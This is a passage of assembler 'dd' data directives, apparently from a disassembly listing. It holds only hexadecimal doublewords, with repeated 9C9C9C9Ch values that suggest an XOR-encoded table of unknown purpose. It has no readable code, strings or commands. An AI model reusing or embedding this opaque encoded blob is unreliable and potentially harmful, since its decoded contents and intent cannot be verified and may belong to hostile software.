dd 0E8EF9EE9h, 0E5ECFFEEh, 9C9C9C9Ch, 0D2CED9D7h, 0AEAFD0D9h
dd 0F0F0F8B2h, 9C9C9C9Ch, 3 dup(8C8D3C9Ch), 0D8C8CEDFh
dd 0D8B2D0D0h, 9C9CD0D0h, 8 dup(8C8D3C88h), 0Eh dup(9C9C9C9Ch)
dd 9C9C9CBCh, 9C9C9C9Ch, 9C9C9CBCh, 9C9C8C9Ch, 9C9C709Ch
dd 9C9C6C9Ch, 9C9DB09Ch, 78h dup(9C9C9C9Ch), 9C9C8C9Ch
dd 9C9C9EA0h, 0AC10ACADh, 0AC61AC6Fh, 0AD8FAD99h, 0ADBDAD85h
dd 0AD2AADBBh, 0AD60AD73h, 0AE92AE9Dh, 0AEBFAE8Fh, 0AEA2AEB5h
dd 0AFACAE28h, 0AFCDAFABh, 0AFFBAFC4h, 0AFE5AFF3h, 0AF11AF1Bh
dd 0AF00AF0Bh, 0AF34AF3Dh, 0AF2BAF2Dh, 0AF4EAF22h, 0AF79AF43h
dd 0A899AF6Dh, 0A8DEA8A9h, 0A8C3A8D5h, 0A81EA8E9h, 0A834A808h
dd 0A822A832h, 0A986A994h, 0A9DEA9A5h, 0A9C3A9CFh, 0A9EDA9F0h
dd 0A918A9E2h, 0A90DA917h, 0A931A90Ah, 0A95CA924h, 0A97DA944h
dd 0AA8EA977h, 0AAABAAB1h, 0AACCAAD6h, 0AAFFAACAh, 0AAEEAAF0h
dd 0AAE3AAE5h, 0AA0FAA11h, 0AA3AAA05h, 0AA29AA33h, 0AA58AA20h
dd 0AA44AA4Dh, 0AA77AA42h
dd 0AA64AA6Eh, 0AB93AB9Eh, 0AB87AB89h, 0ABADABB4h, 0ABA3ABA4h
dd 0ABCBABD6h, 0ABF1ABC2h, 0ABE5ABEFh, 0AB17ABE3h, 0AB0BAB0Eh
dd 0AB36AB03h, 0AB21AB2Dh, 0AB55AB5Fh, 0AB46AB48h, 0AB76AB7Fh
dd 0AB6AAB6Ch, 0A496AB61h, 0A485A48Dh, 0A4B1A483h, 0A4A5A4AFh
dd 0A4D0A4D9h, 0A4C5A4CFh, 0A4F0A4FAh, 0A4E5A4EEh, 0A411A41Ah
dd 0A43DA408h, 0A427A42Dh, 0A453A45Eh, 0A447A448h, 0A471A47Eh
dd 0A59DA468h, 0A597A59Ah, 0A582A584h, 0A5AAA5BFh, 0A5F2A5DEh
dd 0A506A5E8h, 0A54FA536h, 0A6ABA681h, 0A6F2A6A3h, 0A60CA6E3h
dd 0A624A62Eh, 0A646A655h, 0A66DA67Ch, 0A791A79Eh, 0A7BDA786h
dd 0A7D7A7DDh, 0A7FFA7CAh, 0A7E8A7F4h, 0A715A71Eh, 0A702A705h
dd 0A720A733h, 0A74DA756h, 0A77AA77Dh, 0A098A76Bh, 0A081A08Dh
dd 0A0A5A0AEh, 0A0C6A0D6h, 0A0F0A0FFh, 0A019A0EFh, 0A03CA017h
dd 0A032A034h, 0A022A028h, 0A075A058h, 0A063A065h, 0A1ABA19Ah
dd 0A1D6A1A2h, 0A1C2A1CBh, 0A1F2A1F4h, 0A1E3A1E5h, 0A107A108h
dd 0A132A134h, 0A15CA126h, 0A153A155h, 0A17CA145h, 0A163A165h
dd 0A28FA294h, 0A2BFA285h, 0A2ABA2B1h, 0A2CCA2DFh, 0A2F2A2FEh
dd 0A215A2E1h, 0A202A205h, 0A275A238h, 0A26BA26Dh, 0A39BA261h
dd 0A3B6A3BFh, 0A3D5A3DEh, 0A3C0A3CAh, 0A3F7A3FDh, 0A33AA312h
dd 0A324A331h, 0A356A35Fh, 0A347A34Ch, 0A36DA37Dh, 0A360A36Bh
dd 9C9CBC9Ch, 9C9C9EB8h, 0AC8FAC9Ah, 0AC81AC84h, 0ACB1ACBAh
dd 0ACA3ACA6h, 0AC1AACEAh, 0AC30AC05h, 0AC4DAC26h, 0AD9CAC44h
dd 0AD81AD9Ah, 0ADCCADB4h, 0ADE8ADF6h, 0AD3DAD07h, 0AD41AD28h
dd 0AD71AD7Bh, 0AE99AD61h, 0AE89AE93h, 0AECFAEB1h, 0AEFAAEC6h
dd 0AEE1AEECh, 0AE2AAE0Dh, 0AE52AE5Ch, 0AE77AE49h, 0AF85AF8Dh
dd 0AFA9AFBBh, 0AFD1AFD8h, 0AFEBAFECh, 0AF11AF1Fh, 0AF38AF04h
dd 0AF5EAF2Dh, 0AF53AF56h, 0AF6CAF49h, 0A8BDAF66h, 0A8ADA8BBh
dd 0A8DFA8A6h, 0A8FDA8CDh, 0A813A8FBh, 0A803A809h, 0A82FA834h
dd 0A84DA85Dh, 0A863A846h, 0A98DA999h, 0A9B8A981h, 0A9DEA9A5h
dd 0A9F3A9F9h, 0A91AA9E5h, 0A901A90Ch, 0A92AA932h, 0A946A922h
dd 0AA9AAA9Ch, 0AA84AA8Eh, 0AAB7AAB9h, 0AAD4AAA2h, 0AAEBAAF1h
dd 0AA10AA1Dh, 0AA3DAA07h, 0AA26AA2Dh, 0AA7BAA41h, 0AB9EAA6Fh
dd 0AB86AB94h, 0ABD5ABDCh, 0ABFCABCEh, 0ABE9ABF6h, 0AB0DAB17h
dd 0AB2DAB3Dh, 0AB7DAB5Dh, 0AB6DAB74h, 0A49DAB64h, 0A4BFA494h
dd 0A4DBA4B6h, 0A4C0A4CBh, 0A4EDA4F0h, 0A41AA41Dh, 0A407A40Ah
dd 0A42CA437h, 0A459A45Ch, 0A446A449h, 0A473A476h, 0A598A463h
dd 0A585A588h, 0A5B2A5B5h, 0A5E4A5DDh, 0A512A5E3h, 0A53BA503h
dd 0A55DA52Eh, 0A54EA550h, 0A566A574h, 0A682A69Ch, 0A6ACA6B7h
dd 0A6E4A6DAh, 0A63AA63Ch, 0A620A62Ah, 0A64EA650h, 0A795A668h
dd 0A7EDA78Fh, 0A712A71Bh, 0A729A73Ah, 0A747A757h, 0A765A776h
dd 0A08DA090h, 0A0D4A08Bh, 0A0F8A0C1h, 0A00DA01Eh, 0A028A006h
dd 0A05AA021h, 0A06FA053h, 0A19EA065h, 0A18AA195h, 0A1B9A180h
dd 0A1A6A1A8h, 0A1D3A1D4h, 0A1FBA1CAh, 0A1E0A1EFh, 0A115A11Fh
dd 0A107A109h, 0A121A12Fh, 0A152A154h, 0A17EA147h, 0A29FA170h
dd 0A289A290h, 0A2B7A282h, 0A2D9A2A8h, 0A2C0A2CDh, 0A2E6A2F2h
dd 0A217A21Ch, 0A23DA208h, 0A224A237h, 0A252A223h, 0A27DA24Bh
dd 0A26AA277h, 0A392A39Dh, 0A3BCA386h, 0A3A7A3B1h, 0A3EDA3C1h
dd 0A316A318h, 0A375A37Dh, 9C9CAC9Ch, 9C9C9E9Ch, 0AC1AACD6h
dd 0AC5CAC3Bh, 0AC63AC44h, 0ADB2AD87h, 0ADA1ADAAh, 0ADF1ADC9h
dd 0ADE3ADE9h, 0AD08AD11h, 0AD7DAD2Ah, 0AE98AD74h, 0AE84AE96h
dd 0AEB2AE83h, 0AEA0AEA8h, 0AED2AED4h, 0AEE2AEE9h, 0AE29AE0Fh
dd 0AE4BAE27h, 0AE6AAE6Dh, 0AF91AF99h, 0AFB3AF8Fh, 0AFD1AFA2h
dd 0AFFEAFC1h, 0AF0DAFEDh, 0AF30AF04h, 0AF4DAF2Fh, 0AF6DAF41h
dd 0A899AF6Ah, 0A8D4A8AEh, 0A8C0A8D1h, 0A8E2A8EEh, 0A804A80Eh
dd 0A845A826h, 0A98BA87Ah, 0A9D6A9A1h, 0A9FCA9C4h, 0A9E4A9F6h
dd 0A909A913h, 0A952A928h, 0AA9EA960h, 0AA83AA8Eh, 0AAF7AAAAh
dd 0AA17AAE7h, 0AA37AA0Eh, 0AA26AA2Dh, 0AA52AA54h, 0AA43AA44h
dd 0AA6AAA7Ah, 0AB9AAA63h, 0AB82AB84h, 0ABB2ABB4h, 0ABF6ABA8h
dd 0AB0DABE1h, 0AB3BAB3Dh, 0AB21AB2Bh, 0AB47AB48h, 0A48EAB72h
dd 0A4A4A4B6h, 0A4CAA4CCh, 0A409A418h, 0A430A439h, 0A45DA426h
dd 0A47FA44Eh, 0A5B5A468h, 0A5A0A5B3h, 0A5C8A5D7h, 0A5F4A5C7h
dd 0A519A5E5h, 0A50BA517h, 0A531A502h, 0A57DA546h, 0A569A572h
dd 0A682A69Ah, 0A6AAA6BFh, 0A6DBA6A7h, 0A6F3A6FFh, 0A638A603h
dd 0A65CA62Bh, 0A668A673h, 0A793A79Bh, 0A7ADA7B8h, 0A7F2A7F4h
dd 0A711A7E4h, 0A73FA702h, 0A72FA735h, 0A75FA721h, 0A74EA750h
dd 0A775A77Fh, 0A763A765h, 0A097A099h, 0A083A089h, 0A0A2A0A4h
dd 0A0C8A0D4h, 0A0F8A0C6h, 0A017A0EDh, 0A03CA00Eh, 0A02FA035h
dd 0A059A027h, 0A045A052h, 0A076A043h, 0A06AA06Ch, 0A19AA19Ch
dd 0A180A191h, 0A1CEA1BAh, 0A11AA1C2h, 0A105A113h, 0A15FA136h
dd 0A147A148h, 0A16DA174h, 0A290A29Ah, 0A2BEA280h, 0A2DDA2A6h
dd 0A2FBA2CFh, 0A2E3A2F2h, 0A20BA214h, 0A229A23Dh, 0A24DA257h
dd 0A268A27Fh, 0A390A266h, 0A3AEA382h, 0A3D6A3A4h, 0A3ECA3C2h
dd 0A317A3EBh, 0A32DA303h, 0A350A324h, 0A343A34Ah, 0A368A372h
dd 9C9CDC9Ch, 9C9C9ED0h, 0AC93AC94h, 0ACA2ACAAh, 0ACF9ACC3h
dd 0ACE1ACF2h, 0AC37AC1Bh, 0AC59AC27h, 0AC46AC53h, 0AC61AC7Eh
dd 0AD91AD9Bh, 0ADACADB6h, 0ADD3ADD4h, 0ADFBADC9h, 0ADE0ADF2h
dd 0AD00AD1Fh, 0AD2AAD30h, 0AD50AD21h, 0AD67AD4Eh, 0AE90AE9Ch
dd 0AEB9AE84h, 0AEABAEADh, 0AEF4AED0h, 0AE3BAE0Dh, 0AE2EAE31h
dd 0AE4FAE26h, 0AE7AAE44h, 0AF81AE6Eh, 0AFB7AFBFh, 0AFD1AFADh
dd 0AFE4AFF9h, 0AF38AF13h, 0AF53AF5Fh, 0AF7FAF49h, 0A899AF6Fh
dd 0A880A897h, 0A8A1A8AAh, 0A8C2A8DFh, 0A8ECA8F8h, 0A81EA8EAh
dd 0A834A810h, 0A824A832h, 0A84FA85Fh, 0A877A878h, 0A98BA861h
dd 0A9A9A982h, 0A9C5A9A7h, 0A9F5A9C3h, 0A9E1A9EAh, 0A905A90Eh
dd 0A937A938h, 0A958A924h, 0A94AA957h, 0A97BA940h, 0A960A96Eh
dd 0AA84AA8Fh, 0AAAAAAB4h, 0AACAAADAh, 0AAF5AAC0h, 0AA19AAECh
dd 0AA06AA08h, 0AA26AA3Eh, 0AA46AA5Eh, 0AA79AA43h, 0AB92AA68h
dd 0ABDBABBAh, 0ABC2ABD0h, 0AB1AABF0h, 0AB00AB10h, 0AB31AB38h
dd 0AB4FAB28h, 0AB74AB47h, 0A49EAB67h, 0A48FA491h, 0A4BAA4BCh
dd 0A4A1A4A8h, 0A4D0A4DAh, 0A4C3A4C9h, 0A4E7A4EAh, 0A400A417h
dd 0A42CA434h, 0A44CA456h, 0A478A440h, 0A464A472h, 0A582A463h
dd 0A5DCA5B4h, 0A5C9A5D9h, 0A5EDA5F6h, 0A512A51Bh, 0A52DA536h
dd 0A556A55Ch, 0A547A54Fh, 0A698A57Eh, 0A6BDA680h, 0A6D4A6A9h
dd 0A6FBA6C7h, 0A614A61Eh, 0A634A611h, 0A622A62Bh, 0A67FA641h
dd 0A79BA66Bh, 0A7B4A78Bh, 0A7A3A7B2h, 0A7C2A7CBh, 0A7E8A7F9h
dd 0A71BA7E2h, 0A75DA735h, 0A750A75Ah, 0A76DA777h, 0A09AA76Ah
dd 0A0BBA08Bh, 0A0D6A0B2h, 0A0FCA0CCh, 0A0EEA0F7h, 0A001A00Fh
dd 0A025A028h, 0A041A055h, 0A06FA071h, 0A188A191h, 0A1B1A183h
dd 0A1DCA1AFh, 0A1F5A1D0h, 0A1E0A1ECh, 0A12EA108h, 0A148A124h
dd 0A17BA146h, 0A29EA170h, 0A2B8A294h, 0A2ABA2B6h, 0A2CEA2A0h
dd 0A2E8A2C4h, 0A21BA2E6h, 0A23EA210h, 0A258A234h, 0A24BA256h
dd 0A26EA240h, 0A390A264h, 0A383A38Eh, 0A3B6A3B9h, 0A3D3A3A3h
dd 0A3F4A3C6h, 0A3EBA3F2h, 0A310A3E1h, 0A338A30Eh, 0A321A32Ah
dd 0A37DA346h, 9C9CA374h, 9C9CCC9Ch, 9C9C9E90h, 0AC91AC94h
dd 0ACDCACB5h, 0ACC2ACC4h
dd 0AC11ACE4h, 0AC5CAC06h, 0AC41AC5Bh, 0AD9DAC6Dh, 0ADD9ADA3h
dd 0ADF8ADC9h, 0AD14ADE6h, 0AD09AD11h, 0AD3AAD01h, 0AD5DAD32h
dd 0AD4BAD5Bh, 0AD67AD75h, 0AE1DAEE4h, 0AE0DAE16h, 0AE46AE04h
dd 0AE79AE43h, 0AF87AF8Ah, 0AFDCAFBBh, 0AF14AFDBh, 0AF01AF13h
dd 0AF2EAF3Fh, 0AF57AF25h, 0AF40AF4Dh, 0AF6FAF76h, 0A882A88Bh
dd 0A8A4A8B7h, 0A8D8A8A1h, 0A8C8A8D1h, 0A8FAA8FDh, 0A8E4A8F7h
dd 0A81FA8E2h, 0A99DA86Ch, 0A988A994h, 0A9B2A9BEh, 0A9A2A9ABh
dd 0A9D3A9DBh, 0A9EDA9C9h, 0A915A9E4h, 0A934A904h, 0A94CA95Eh
dd 0A97CA94Ah, 0A96BA97Bh, 0AA8BAA9Eh, 0AAAEAAB4h, 0AAD9AAA5h
dd 0AACAAAD3h, 0AAF4AAC0h, 0AAE9AAF3h, 0AA1BAA1Eh, 0AA0BAA11h
dd 0AA2EAA3Bh, 0AA59AA23h, 0AA7EAA4Ch, 0AB95AA68h, 0ABADAB8Ah
dd 0ABD0ABDDh, 0ABFBABC0h, 0ABE6ABF3h, 0AB12AB1Dh, 0AB2EAB06h
dd 0AB5DAB20h, 0AB75AB42h, 0A497AB64h, 0A485A48Dh, 0A4B7A4BCh
dd 0A4A9A4ACh, 0A4DBA4DCh, 0A4E3A4E9h, 0A416A418h, 0A406A40Fh
dd 0A431A43Bh, 0A443A427h, 0A5C5A479h, 0A5F5A5FCh, 0A5E5A5ECh
dd 0A505A51Ch, 0A55DA53Ch, 0A54FA552h, 0A57DA544h, 0A569A574h
dd 0A563A566h, 0A690A699h, 0A683A685h, 0A6D0A6B8h, 0A6C1A6CDh
dd 0A6F0A6FAh, 0A6E1A6EAh, 0A603A60Fh, 0A628A63Ah, 0A67BA645h
dd 0A66BA670h, 0A797A662h, 0A7A1A78Dh, 0A7C7A7DEh, 0A7E6A7F5h
dd 0A70BA715h, 0A735A700h, 0A754A724h, 0A08FA762h, 0A0ABA0BBh
dd 0A01CA0F1h, 0A037A039h, 0A021A028h, 0A045A05Ah, 0A067A06Ch
dd 0A188A19Eh, 0A1A9A186h, 0A1F1A1D4h, 0A13CA105h, 0A15CA12Dh
dd 0A164A153h, 0A289A162h, 0A2AFA2B0h, 0A2FFA2C1h, 0A275A216h
dd 0A3C6A273h, 0A3F4A3FCh, 0A3E9A3F1h, 0A315A3E3h, 0A301A313h
dd 0A337A338h, 0A327A32Ah, 0A356A35Dh, 0A340A34Bh, 0A375A37Eh
dd 0A367A36Dh, 9C9CFC9Ch, 9C9C9EB8h, 0AC9AAC9Ch, 0AC86AC8Fh
dd 0ACB7ACBDh, 0ACF2ACD8h, 0ACE5ACEFh, 0AC05AC14h, 0AC20AC38h
dd 0AC42AC4Fh, 0ADB4AC64h, 0ADDCADB1h, 0ADF9ADD9h, 0AD14ADE1h
dd 0AD24AD0Ah, 0AD45AD5Ah, 0AD6BAD7Ch, 0AE89AE9Eh, 0AEAAAE86h
dd 0AECDAEA0h, 0AEE0AEF3h, 0AE1AAE1Dh, 0AE0AAE13h, 0AE34AE3Fh
dd 0AE26AE31h, 0AE59AE5Ch, 0AE7AAE45h, 0AE60AE71h, 0AF8FAF90h
dd 0AFB6AFBEh, 0AFD2AFD9h, 0AFE2AFC5h, 0AF4BAF51h, 0A8D9A8B0h
dd 0A824A8D3h, 0A849A822h, 0A878A842h, 0A867A86Dh, 0A983A988h
dd 0A9ADA9B4h, 0A9CDA9D6h, 0A917A9EDh, 0A92DA90Dh, 0A972A97Bh
dd 0AAABAAB7h, 0AACCAAA1h, 0AAE4AAF8h, 0AA00AA10h, 0AA40AA20h
dd 0AA65AA7Fh, 0ABB7AB9Dh, 0ABCDABA8h, 0ABF7ABF9h, 0ABE1ABE4h
dd 0AB10AB1Ah, 0AB30AB0Ah, 0AB26AB2Fh, 0AB45AB50h, 0AB7FAB42h
dd 0AB64AB6Fh, 0A494AB63h, 0A480A489h, 0A4AFA4BBh, 0A4A3A4A5h
dd 0A4D7A4D9h, 0A4FEA4C5h, 0A4E5A4F1h, 0A40CA418h, 0A436A43Dh
dd 0A420A42Fh, 0A450A45Fh, 0A441A44Bh, 0A476A47Fh, 0A467A468h
dd 0A591A59Fh, 0A582A58Bh, 0A5B7A5B8h, 0A5DFA5ADh, 0A5FCA5D5h
dd 0A5EEA5F6h, 0A5E1A5EBh, 0A50DA517h, 0A53DA504h, 0A551A52Dh
dd 0A547A54Ah, 0A6B8A56Ah, 0A6D6A6ACh, 0A6C2A6C4h, 0A608A61Ah
dd 0A65CA635h, 0A648A65Ah, 0A661A67Ah, 0A7FFA792h, 0A7E9A7F7h
dd 0A73CA719h, 0A754A72Bh, 0A774A751h, 0A08AA772h, 0A0B4A0BDh
dd 0A0A1A0ABh, 0A0D6A0D8h, 0A0F5A0CAh, 0A07FA041h, 0A06BA073h
dd 0A18CA199h, 0A1B9A18Ah, 0A1A1A1A8h, 0A1C8A1DFh, 0A1ECA1C6h
dd 0A11FA1E5h, 0A10CA116h, 0A135A101h, 0A123A12Dh, 0A153A154h
dd 0A177A144h, 0A162A164h, 0A292A29Bh, 0A2BDA280h, 0A2AAA2B6h
dd 0A2D4A2DDh, 0A2C1A2CDh, 0A2F6A2FEh, 0A2E5A2ECh, 0A215A21Fh
dd 0A206A20Eh, 0A23BA23Ch, 0A25FA225h, 0A24CA256h, 0A26CA247h
dd 0A39EA267h, 0A381A392h, 0A3B3A3BAh, 0A3FCA3D6h, 0A318A3EBh
dd 0A334A316h, 0A376A32Fh, 9C9CA36Bh, 9C9CEC9Ch, 9C9C9D14h
dd 0AC8AAC98h, 0ACA1ACBEh, 0ACF5ACC9h, 0AC12ACE4h, 0AC2DAC02h
dd 0AD92AC52h, 0ADBDAD89h, 0ADAAADBBh, 0AD12ADCFh, 0AD3CAD07h
dd 0AD30AD39h, 0AD22AD2Bh, 0AD4CAD57h, 0AD7DAD49h, 0AD70AD7Bh
dd 0AD61AD6Dh, 0AE94AE9Fh, 0AE85AE91h, 0AEB8AE83h, 0AEA9AEB5h
dd 0AEDCAEA7h, 0AECDAED9h, 0AEC0AECBh, 0AEECAEFDh, 0AEE7AEEAh
dd 0AE3CAE0Eh, 0AE5EAE35h, 0AE44AE54h, 0AE74AE7Fh, 0AFBEAE73h
dd 0AFA4AFB1h, 0AFD4AFA2h, 0AFF8AFD3h, 0AFE3AFEEh, 0AF39AF0Ch
dd 0AF5CAF2Dh, 0AF48AF51h, 0A804AF47h, 0A82EA802h, 0A856A85Ch
dd 0A840A84Dh, 0A871A87Eh, 0A860A86Ah, 0A986A992h, 0A9AEA9BFh
dd 0A9C1A9CBh, 0A91DA9F1h, 0A93FA916h, 0AA97A972h, 0AAAEAA84h
dd 0AACAAAA4h, 0AAF3AAC1h, 0AA13AAE9h, 0AA32AA09h, 0AA73AA2Ah
dd 0ABA6ABAFh, 0ABD1ABDBh, 0ABF4ABC1h, 0A4C8ABF2h, 0A4EFA4F1h
dd 0A404A40Dh, 0A45DA427h, 0A47FA449h, 0A555A53Dh, 0A692A553h
dd 0A6FCA68Ah, 0A6E8A6F2h, 0A608A61Fh, 0A635A63Fh, 0A65CA626h
dd 0A64AA653h, 0A7B5A791h, 0A7F4A7FEh, 0A71FA7E1h, 0A0BCA779h
dd 0A0DEA0A0h, 0A02CA03Fh, 0A05CA029h, 0A040A04Dh, 0A071A078h
dd 0A065A06Fh, 0A1B1A195h, 0A1DEA1A0h, 0A1F3A1D5h, 0A13AA1E7h
dd 0A166A12Bh, 0A29BA29Ch, 0A2C9A2A6h, 0A210A219h, 0A220A239h
dd 0A272A243h, 0A387A38Ah, 0A3ADA3B4h, 0A3CEA3DAh, 0A301A3C2h
dd 0A332A33Fh, 9C9C1C9Ch, 9C9C9E94h, 0ACACACB5h, 0ACCCACDCh
dd 0ACEEACCAh, 0AC17ACE1h, 0AC25AC2Eh, 0AC48AC55h, 0AC60AC74h
dd 0AD8FAD90h, 0ADA9ADB4h, 0ADC5ADDDh, 0AD02AD04h, 0AD24AD34h
dd 0AEB4AD5Ah, 0AEEEAEC9h, 0AE48AE3Dh, 0AFFEAFD9h, 0AF11AFF0h
dd 0AF37AF0Fh, 0AF55AF2Fh, 0AF75AF7Eh, 0A888A89Ah, 0A81EA886h
dd 0A824A82Eh, 0A9C8A9DBh, 0A9E7A9C7h, 0A926A928h, 0AAF4AAC0h
dd 0AAE2AAEBh, 0AA3FAA0Eh, 0AA27AA29h, 0AA41AA50h, 0AA68AA72h
dd 0AB95AB9Fh, 0ABC4ABDFh, 0ABF3ABC2h, 0AB12ABE4h, 0AB2AAB3Fh
dd 0AB52AB20h, 0AB79AB48h, 0A499AB68h, 0A481A48Ah, 0A4CAA4ADh
dd 0A408A412h, 0A42BA43Ah, 0A442A45Dh, 0A59FA46Fh, 0A5A7A5BEh
dd 0A5CFA5DDh, 0A5E6A5EFh, 0A511A51Ah, 0A530A50Ah, 0A54FA525h
dd 0A574A540h, 0A69BA566h, 0A6BFA68Bh, 0A6DFA6A7h, 0A6FFA6C1h
dd 0A609A612h, 0A639A602h, 0A629A632h, 0A79FA64Ch, 0A78FA790h
dd 0A7B6A7BCh, 0A7A9A7ACh, 0A7DCA7A7h, 0A7CCA7D9h, 0A7FBA7C5h
dd 0A7EEA7F1h, 0A71BA71Eh, 0A70BA710h, 0A736A738h, 0A726A733h
dd 0A749A75Ch, 0A77DA747h, 0A770A77Ah, 0A76BA76Dh, 0A09EA760h
dd 0A091A09Bh, 0A084A08Eh, 0A0BEA081h, 0A0A2A0B1h, 0A0D5A0D8h
dd 0A0C7A0CFh, 0A0F3A0F9h, 0A018A0E5h, 0A00CA015h, 0A001A004h
dd 0A022A038h, 0A071A049h, 0A19AA19Ch, 0A18FA191h, 0A1B5A1BEh
dd 0A1D3A1D8h, 0A1FEA1CBh, 0A105A11Ch, 0A12DA102h, 0A144A123h
dd 0A176A179h, 0A169A173h, 0A299A162h, 0A28BA28Eh, 0A2B4A280h
dd 0A2AFA2B2h, 0A2D8A2A4h, 0A2D3A2D6h, 0A2FCA2C8h, 0A2F7A2FAh
dd 0A2E0A2ECh, 0A21BA21Eh, 0A207A210h, 0A23AA23Dh, 0A227A232h
dd 0A259A25Ch, 0A24BA250h, 0A277A242h, 0A269A26Ch, 0A396A399h
dd 0A383A386h, 0A3A8A3B3h, 0A3D5A3D8h, 0A3C2A3C5h, 0A3EFA3F2h
dd 0A314A31Fh, 0A301A304h, 0A32EA331h, 0A35BA35Eh, 0A340A34Bh
dd 0A36DA370h, 9C9C0C9Ch, 9C9C9EACh, 0AC9AAC9Dh, 0AC87AC8Ah
dd 0ACACACB7h, 0ACD9ACDCh, 0ACC6ACC9h, 0ACF3ACF6h, 0AC18ACE3h
dd 0AC05AC08h, 0AC32AC35h, 0AC5FAC22h, 0AC44AC4Fh, 0AD94AC72h
dd 0ADDEAD93h, 0ADF0ADC3h, 0AD1CADEFh, 0AE88AE94h, 0AEABAEB2h
dd 0AEDBAEDDh, 0AEF9AECBh
dd 0AEE5AEF7h, 0AE11AEE3h, 0AE31AE07h, 0AE58AE28h, 0AE45AE4Eh
dd 0AE68AE7Bh, 0AFBCAE61h, 0AFB2AFBAh, 0AFDFAFA0h, 0AFC3AFD3h
dd 0AFE8AFF8h, 0AF15AFE5h, 0AF3DAF12h, 0AF23AF25h, 0AF44AF57h
dd 0A894AF62h, 0A8B0A882h, 0A8D3A8A5h, 0A8F9A8CBh, 0A817A8F7h
dd 0A858A82Bh, 0A846A856h, 0A861A86Ch, 0A9A9A98Bh, 0A9DAA9A7h
dd 0A9ECA9F4h, 0A91AA9EBh, 0A905A910h, 0A930A93Ah, 0A97EA957h
dd 0AA99A96Ah, 0AA8AAA8Dh, 0AAABAAB9h, 0AAF4AAC0h, 0AA07AA08h
dd 0AA77AA2Dh, 0ABACAA6Eh, 0ABD8ABA2h, 0ABF1ABC0h, 0ABE7ABEAh
dd 0AB10AB19h, 0AB32AB0Ah, 0AB5DAB2Ah, 0AB45AB5Bh, 0AB65AB70h
dd 0A495A49Eh, 0A4B7A492h, 0A4A1A4AEh, 0A4CAA4D8h, 0A4F4A4C2h
dd 0A414A4E6h, 0A439A400h, 0A428A432h, 0A452A45Fh, 0A477A449h
dd 0A463A46Bh, 0A5DBA580h, 0A5E8A5C2h, 0A52EA5E6h, 0A54DA557h
dd 0A6BBA695h, 0A6C6A6B2h, 0A612A6F1h, 0A601A608h, 0A62CA63Fh
dd 0A65FA62Bh, 0A640A64Bh, 0A79AA673h, 0A78AA791h, 0A7CEA7D9h
dd 0A7E6A7EFh, 0A711A71Fh, 0A706A70Eh, 0A72CA738h, 0A759A72Bh
dd 0A74BA74Dh, 0A769A77Dh, 0A096A09Dh, 0A0B9A085h, 0A0A9A0B7h
dd 0A0D5A0A1h, 0A0C2A0D3h, 0A0F0A0F9h, 0A0E1A0EEh, 0A03CA013h
dd 0A055A02Eh, 0A04AA053h, 0A060A06Ah, 0A180A188h, 0A1CCA1AEh
dd 0A1FDA1C6h, 0A1EAA1F7h, 0A11AA11Ch, 0A124A108h, 0A157A122h
dd 0A29CA144h, 0A292A29Bh, 0A280A28Ah, 0A2A8A2B4h, 0A2C4A2DEh
dd 0A2F5A2C2h, 0A2E1A2E9h, 0A20AA210h, 0A22CA23Fh, 0A255A226h
dd 0A279A253h, 0A26BA277h, 0A38EA397h, 0A3B9A382h, 0A3A6A3ADh
dd 0A3D7A3DDh, 0A3C5A3CEh, 0A3F3A3F4h, 0A31EA3E6h, 0A33FA30Ah
dd 0A358A321h, 0A345A356h, 0A369A370h, 9C9CA360h, 9C9C3C9Ch
dd 9C9C9D30h, 0AC9BAC9Eh, 0ACA1ACB4h, 0ACCDACD6h, 0ACE9ACCBh
dd 0AC3DAC16h, 0AC53AC34h, 0AD9DAC49h, 0AD90AD9Ah, 0ADB9AD83h
dd 0ADD8ADA9h, 0ADE1ADEAh, 0AD0DAD17h, 0AD57AD28h, 0AD75AD7Eh
dd 0AEA9AE8Ch, 0AECDAED9h, 0AEFEAEC0h, 0AEE7AEF3h, 0AE0FAE1Ah
dd 0AE03AE05h, 0AE2AAE39h, 0AE44AE20h, 0AE6EAE7Eh, 0AF9AAE64h
dd 0AFA9AF90h, 0AFD2AFA0h, 0AF38AFFDh, 0AF5AAF5Ch, 0A8BCAF72h
dd 0A8CEA8BBh, 0A8E3A8F7h, 0A838A802h, 0A826A828h, 0A874A87Eh
dd 0A9ABA9ACh, 0A9FEA9D5h, 0A9E2A9EAh, 0A935A90Ch, 0A94AA933h
dd 0AA88A941h, 0AA83AA85h, 0AAD0AAA2h, 0AA09AAC3h, 0AA5BAA5Ch
dd 0AA77AA44h, 0AB8BAB8Dh, 0ABF3ABDBh, 0AB08AB1Dh, 0AB25AB33h
dd 0A49CAB43h, 0A487A49Ah, 0A4C0A4D0h, 0A40BA4EBh, 0A437A401h
dd 0A459A428h, 0A445A452h, 0A468A443h, 0A5ADA59Eh, 0A5C5A5A4h
dd 0A5E6A5FAh, 0A511A51Fh, 0A53BA50Ah, 0A557A529h, 0A688A696h
dd 0A6F8A6D5h, 0A61EA6F7h, 0A63CA605h, 0A64BA65Bh, 0A66CA676h
dd 0A7CCA666h, 0A7F4A7CAh, 0A70DA7E6h, 0A74FA736h, 0A771A746h
dd 0A765A76Fh, 0A0B4A763h, 0A0FCA0B1h, 0A019A0FAh, 0A000A012h
dd 0A052A055h, 0A067A07Bh, 0A188A193h, 0A1A7A1BBh, 0A10EA117h
dd 0A133A13Fh, 0A14AA15Eh, 0A172A147h, 0A2A7A2B2h, 0A214A2DBh
dd 0A23EA204h, 0A22EA230h, 0A255A227h, 0A26FA27Ch, 0A38BA266h
dd 0A3B5A3B8h, 0A3A9A3B2h, 0A3DBA3DCh, 0A3C5A3C8h, 0A3F7A3C2h
dd 0A3EAA3EDh, 0A308A317h, 0A333A334h, 0A349A352h, 0A371A378h
dd 9C9CA365h, 9C9C2C9Ch, 9C9C9D50h, 0ACA6AC92h, 0ACEAACD8h
dd 0AC0BACE3h, 0AC7EAC3Ch, 0AD95AC77h, 0ADABADACh, 0AD1AADD6h
dd 0AD50AD0Ch, 0AD60AD73h, 0AEA5AEBEh, 0AEF2AED3h, 0AE18AEE2h
dd 0AE48AE51h, 0AE70AE7Ah, 0AF8BAF9Dh, 0AFB1AFBBh, 0AFEBAFC4h
dd 0AF15AFE2h, 0AF36AF02h, 0AF7DAF2Bh, 0A890AF6Ah, 0A8B0A8BDh
dd 0A8D0A8AEh, 0A8F1A8FEh, 0A811A8EFh, 0A830A806h, 0A84CA824h
dd 0A992A994h, 0A9ABA9B0h, 0A9D5A9DEh, 0A9F0A9FAh, 0A95EA938h
